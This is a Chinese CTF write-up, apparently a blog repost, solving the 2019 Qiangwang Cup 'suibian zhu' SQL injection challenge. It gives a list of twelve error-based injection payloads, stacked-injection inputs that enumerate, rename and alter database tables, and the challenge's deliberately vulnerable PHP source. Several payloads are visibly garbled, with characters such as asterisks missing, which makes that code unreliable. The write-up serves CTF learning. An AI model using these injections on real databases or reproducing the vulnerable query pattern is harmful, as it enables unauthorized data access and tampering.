强网杯 2019]随便注解题方式

2024-05-01 21:36

本文主要是介绍强网杯 2019]随便注解题方式,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

先来看题

这里只有一个提交,那我们就先提交看看情况找找思路

这里提交以后发现也没有什么有用的信息

 

这样我们只能根据我们的经验先试试

输入1'发现有报错

 

 有报错信息就可以试试报错注入了,但是这种ctf题通常会有限制字符所以我使用

1' select 1,2#

来试了试select有没有被限制(ps一般都会对select , information等有限制)

 

有限制这里我们就不能考虑报错注入了因为报错注入语句需要用select

其次 select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。

1.通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

这里我列出了12种报错注入语句(这里是引用了别人的文章12种报错注入+万能语句_polygon报错注入-CSDN博客)

这里我们就尝试堆叠注入

1'; show databases#

这里证明堆叠注入可行,我们就继续看看它的表以及列找找flag

1'; show tables#

 

1'; desc `1919810931114514`#

 这里查看这张表这里注意如果表名是全数字要加反引号(ps反引号英文模式下esc下面的键位)

在看看第二张表

1'; desc words#

 

这里我们基本能确定它自己程序的select语句默认的表是words

那思路就有了我们可以把19的表变words words变其他在给19外加一列不就可以查了

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

修改完成后我们使用

1' 1=1#

 来爆出flag

 

<html><head><meta charset="UTF-8"><title>easy_sql</title>
</head><body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form><pre>
<?php
function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多条sql语句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()执行一条或多条sql语句do{if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //关闭结果集if ($mysqli->more_results()){  //判断是否还有更多结果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close();  //关闭数据库连接
}?>
</pre></body></html>

这里把源码发出来可以找找其他解题方式 

 

这篇关于强网杯 2019]随便注解题方式的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/952724

相关文章

MybatisPlus中几种条件构造器运用方式

《MybatisPlus中几种条件构造器运用方式》QueryWrapper是Mybatis-Plus提供的一个用于构建SQL查询条件的工具类,提供了各种方法如eq、ne、gt、ge、lt、le、lik... 目录版本介绍QueryWrapperLambdaQueryWrapperUpdateWrapperL

idea设置快捷键风格方式

《idea设置快捷键风格方式》在IntelliJIDEA中设置快捷键风格,打开IDEA,进入设置页面,选择Keymap,从Keymaps下拉列表中选择或复制想要的快捷键风格,点击Apply和OK即可使... 目录idea设www.chinasem.cn置快捷键风格按照以下步骤进行总结idea设置快捷键pyth

Linux镜像文件制作方式

《Linux镜像文件制作方式》本文介绍了Linux镜像文件制作的过程,包括确定磁盘空间布局、制作空白镜像文件、分区与格式化、复制引导分区和其他分区... 目录1.确定磁盘空间布局2.制作空白镜像文件3.分区与格式化1) 分区2) 格式化4.复制引导分区5.复制其它分区1) 挂载2) 复制bootfs分区3)

SpringBoot返回文件让前端下载的几种方式

《SpringBoot返回文件让前端下载的几种方式》文章介绍了开发中文件下载的两种常见解决方案,并详细描述了通过后端进行下载的原理和步骤,包括一次性读取到内存和分块写入响应输出流两种方法,此外,还提供... 目录01 背景02 一次性读取到内存,通过响应输出流输出到前端02 将文件流通过循环写入到响应输出流

java敏感词过滤的实现方式

《java敏感词过滤的实现方式》文章描述了如何搭建敏感词过滤系统来防御用户生成内容中的违规、广告或恶意言论,包括引入依赖、定义敏感词类、非敏感词类、替换词类和工具类等步骤,并指出资源文件应放在src/... 目录1.引入依赖2.定义自定义敏感词类3.定义自定义非敏感类4.定义自定义替换词类5.最后定义工具类

python项目环境切换的几种实现方式

《python项目环境切换的几种实现方式》本文主要介绍了python项目环境切换的几种实现方式,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录1. 如何在不同python项目中,安装不同的依赖2. 如何切换到不同项目的工作空间3.创建项目

SpringBoot的内嵌和外置tomcat的实现方式

《SpringBoot的内嵌和外置tomcat的实现方式》本文主要介绍了在SpringBoot中定制和修改Servlet容器的配置,包括内嵌式和外置式Servlet容器的配置方法,文中通过示例代码介绍... 目录1.内嵌如何定制和修改Servlet容器的相关配置注册Servlet三大组件Servlet注册详

C# WebAPI的几种返回类型方式

《C#WebAPI的几种返回类型方式》本文主要介绍了C#WebAPI的几种返回类型方式,包括直接返回指定类型、返回IActionResult实例和返回ActionResult,文中通过示例代码介绍的... 目录创建 Controller 和 Model 类在 Action 中返回 指定类型在 Action

SQL 注入攻击(SQL Injection)原理、利用方式与防御策略深度解析

《SQL注入攻击(SQLInjection)原理、利用方式与防御策略深度解析》本文将从SQL注入的基本原理、攻击方式、常见利用手法,到企业级防御方案进行全面讲解,以帮助开发者和安全人员更系统地理解... 目录一、前言二、SQL 注入攻击的基本概念三、SQL 注入常见类型分析1. 基于错误回显的注入(Erro

requests处理token鉴权接口和jsonpath使用方式

《requests处理token鉴权接口和jsonpath使用方式》文章介绍了如何使用requests库进行token鉴权接口的处理,包括登录提取token并保存,还详述了如何使用jsonpath表达... 目录requests处理token鉴权接口和jsonpath使用json数据提取工具总结reques